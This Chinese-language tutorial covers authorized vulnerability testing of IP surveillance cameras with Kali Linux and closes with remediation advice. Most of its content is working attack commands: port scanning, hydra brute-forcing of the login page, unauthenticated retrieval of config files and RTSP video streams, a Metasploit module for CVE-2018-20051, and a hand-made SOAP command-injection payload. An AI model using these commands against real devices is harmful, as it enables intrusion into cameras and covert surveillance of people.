在已获得合法授权(需留存书面授权文件,明确测试范围和目的)的前提下,以下是在 Kali Linux 中对监控设备进行漏洞验证的完整流程,核心目标是通过技术手段确认已知漏洞的存在性,为后续修复提供依据(仅用于安全学习和防御测试)。
前期准备
- 环境确认
- 目标设备:监控摄像头(已知型号如 JA-C10E、JA-Q1H 等,需提前记录设备局域网 IP,假设为
192.168.1.100)。 - 网络条件:Kali Linux 与目标设备在同一局域网(或已获得远程访问权限),确保网络连通性(可通过
ping 192.168.1.100验证)。 - 工具清单:
nmap(端口扫描)、hydra(暴力破解)、curl(HTTP 请求)、vlc/ffmpeg(RTSP 流测试)、tcpdump+wireshark(流量分析)、metasploit(漏洞利用框架)、浏览器(用于 Web 界面测试)。
- 目标设备:监控摄像头(已知型号如 JA-C10E、JA-Q1H 等,需提前记录设备局域网 IP,假设为
流程一:信息收集与端口探测
首先通过端口扫描确认设备开放的服务和端口,为漏洞验证提供方向。
-
全端口扫描:在 Kali 终端执行以下命令,探测目标设备开放的端口及对应服务:
bash
nmap -sV -p 1-65535 192.168.1.100 # -sV:探测服务版本;-p 1-65535:扫描所有端口预期结果(设备常见开放端口):
- HTTP 端口(80、8080 等,用于 Web 管理界面)。
- RTSP 端口(554,用于视频流传输)。
- 可能开放的 Telnet(23)或 SSH(22,部分型号支持远程管理)。
-
重点服务识别:记录扫描结果中与监控设备相关的服务,例如:
80/tcp open http GoAhead-WebServer(部分设备使用 GoAhead Web 服务器)。554/tcp open rtsp RTSP server(RTSP 视频流服务)。
流程二:弱口令漏洞验证
部分型号存在默认凭证(admin/admin)或弱口令风险,需验证是否可通过默认 / 弱密码登录设备。
1. 默认凭证直接测试
-
Web 管理界面 :打开浏览器,访问
http://192.168.1.100(或对应 HTTP 端口),在登录页面输入默认用户名admin和密码admin,若成功登录,说明弱口令漏洞存在。 -
RTSP 服务 :使用
ffmpeg尝试用默认凭证访问视频流:bash
ffmpeg -i rtsp://admin:admin@192.168.1.100:554/live/ch00_1 -vcodec copy test_stream.mp4若命令执行后生成视频文件(无报错),说明 RTSP 服务接受默认凭证。
2. 暴力破解测试(针对非默认弱口令)
若默认凭证失效,使用 hydra 对 Web 登录界面进行弱口令爆破(需先通过浏览器抓包确认登录请求参数):
-
抓包分析登录请求:打开浏览器开发者工具(F12)→"网络" 选项卡,在监控 Web 登录页面输入任意账号密码并提交,找到登录请求(通常为 POST 方法),记录:
- 请求 URL(如
/login.cgi)。 - 表单参数(如
username=xxx&password=xxx)。 - 登录失败的响应特征(如页面返回 "密码错误" 或特定状态码)。
- 请求 URL(如
-
执行爆破命令:
bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.100 http-post-form \ "/login.cgi:username=^USER^&password=^PASS^:密码错误"- 参数说明:
-l admin为目标用户名,-P指定弱口令字典(Kali 自带rockyou.txt),http-post-form表示 POST 表单爆破,"/login.cgi:参数:失败特征"为登录请求格式。 - 若爆破成功,终端会显示有效的账号密码(如
[80][http-post-form] host: 192.168.1.100 login: admin password: 123456)。
- 参数说明:
流程三:未授权访问漏洞验证
部分设备存在无需认证即可访问配置文件或 RTSP 流的漏洞,需逐一验证。
1. 未授权访问敏感配置文件
使用 curl 直接请求设备可能存在的配置文件路径(基于公开漏洞信息):
bash
# 尝试访问系统配置文件
curl http://192.168.1.100/system.ini
curl http://192.168.1.100/config.dat
curl http://192.168.1.100/user.ini # 用户配置文件(可能包含账号信息)
- 若返回包含设备型号、网络配置、用户列表等内容的文本(如
[User] admin=admin),说明存在未授权文件访问漏洞。
2. 未授权访问 RTSP 视频流
无需账号密码直接尝试获取实时视频流:
-
使用 vlc 播放:
bash
vlc rtsp://192.168.1.100:554/live/ch00_1 # 主码流路径(常见格式) vlc rtsp://192.168.1.100:554/onvif1 # ONVIF协议流路径若 vlc 能直接播放实时画面(无需输入账号密码),说明 RTSP 未授权访问漏洞存在。
-
使用 ffmpeg 录制:
bash
ffmpeg -i rtsp://192.168.1.100:554/live/ch00_1 -t 10 unauthorized_test.mp4若生成 10 秒的视频文件,进一步验证漏洞可利用性。
流程四:RTSP 协议漏洞验证
RTSP 协议漏洞主要表现为凭证滥用和流量敏感信息泄露,需结合工具验证。
1. 凭证滥用测试(已知账号密码时)
若已通过弱口令获取账号密码,验证是否可通过 RTSP 协议直接控制或获取视频流:
bash
# 用已知凭证录制高清/标清码流
ffmpeg -i rtsp://admin:password@192.168.1.100:554/live/ch00_1 -vcodec copy hd_stream.mp4 # 高清
ffmpeg -i rtsp://admin:password@192.168.1.100:554/live/ch00_2 -vcodec copy sd_stream.mp4 # 标清
若能成功录制,说明 RTSP 协议可被凭证滥用获取视频。
2. RTSP 流量嗅探与敏感信息分析
在授权范围内抓取 RTSP 通信流量,检查是否泄露敏感信息:
-
抓取流量:
bash
tcpdump -i eth0 port 554 -w rtsp_traffic.pcap # eth0为Kali的网卡,抓取554端口(RTSP)流量 -
触发 RTSP 通信 :同时用 vlc 播放 RTSP 流(无论是否授权,只要有通信即可),持续 1-2 分钟后按
Ctrl+C停止抓包。 -
分析流量 :用
wireshark打开抓包文件,筛选rtsp协议,查看数据包中是否包含明文账号密码、设备 UUID、网络配置等敏感信息:bash
wireshark rtsp_traffic.pcap
流程五:命令执行漏洞(CVE-2018-20051)验证(针对 JA-Q1H 型号)
该漏洞仅影响 JA-Q1H 型号固件版本≤21.0.0.91,需先确认设备型号和固件版本,再进行验证。
1. 确认设备型号与固件版本
-
方法 1:通过未授权访问的配置文件(如
system.ini)查找,例如:bash
curl http://192.168.1.100/system.ini | grep -E "Model|Firmware"若返回
Model=JA-Q1H且FirmwareVersion=21.0.0.91或更低,说明可能受影响。 -
方法 2:通过 Web 管理界面的 "系统信息" 页面查看(需登录,可使用弱口令登录后查找)。
2. 使用 Metasploit 验证
-
启动 Metasploit 框架:
bash
msfconsole -
搜索漏洞模块:
bash
search CVE-2018-20051若存在对应模块(如
exploit/linux/http/joan_q1h_rce),加载模块并配置参数:bash
use exploit/linux/http/joan_q1h_rce set RHOSTS 192.168.1.100 # 目标IP set RPORT 80 # Web端口(根据nmap扫描结果修改) set LHOST <Kali的IP> # 本地监听IP(用于反弹shell,可选) -
执行漏洞测试:
bash
run # 若漏洞存在,会返回命令执行结果(如系统版本、用户ID等)
3. 手动验证(无模块时)
构造包含命令注入的 ONVIF 协议 SOAP 请求(需符合 ONVIF 协议格式),通过 curl 发送:
bash
curl -X POST http://192.168.1.100/onvif/device_service \
-H "Content-Type: application/soap+xml; charset=utf-8" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Body>
<GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl">
<Manufacturer>;id;</Manufacturer> <!-- 注入命令"id" -->
</GetDeviceInformation>
</s:Body>
</s:Envelope>'
若返回包含 uid=0(root) 的响应(说明命令 id 被执行),则漏洞验证成功。
流程六:测试后处理与修复建议
-
清理测试痕迹 :删除测试过程中生成的视频文件(
test.mp4等)、抓包数据(rtsp_traffic.pcap)及爆破日志,避免留存敏感信息。 -
漏洞修复建议:
- 弱口令:立即将默认密码修改为强密码(含大小写字母、数字、特殊字符,长度≥12 位)。
- 未授权访问:登录 Web 管理界面,在 "用户管理" 中启用严格认证,关闭匿名访问权限;在 "网络设置" 中限制 RTSP 流仅允许授权 IP 访问。
- RTSP 协议:禁用明文传输,若设备支持,开启 RTSP 加密(如 SSL/TLS);定期检查流量日志,阻断异常访问。
- 命令执行漏洞(CVE-2018-20051):升级固件至最新版本(JA-Q1H 需≥21.0.0.92),关闭 Telnet 等非必要服务,在路由器中禁用设备的公网访问。
核心原则
所有操作必须严格限制在授权范围内,测试目的是发现漏洞并协助修复,而非利用漏洞进行攻击。完成后需向设备所有者提交详细的漏洞报告,包括验证过程、风险等级及修复方案,确保设备安全性提升。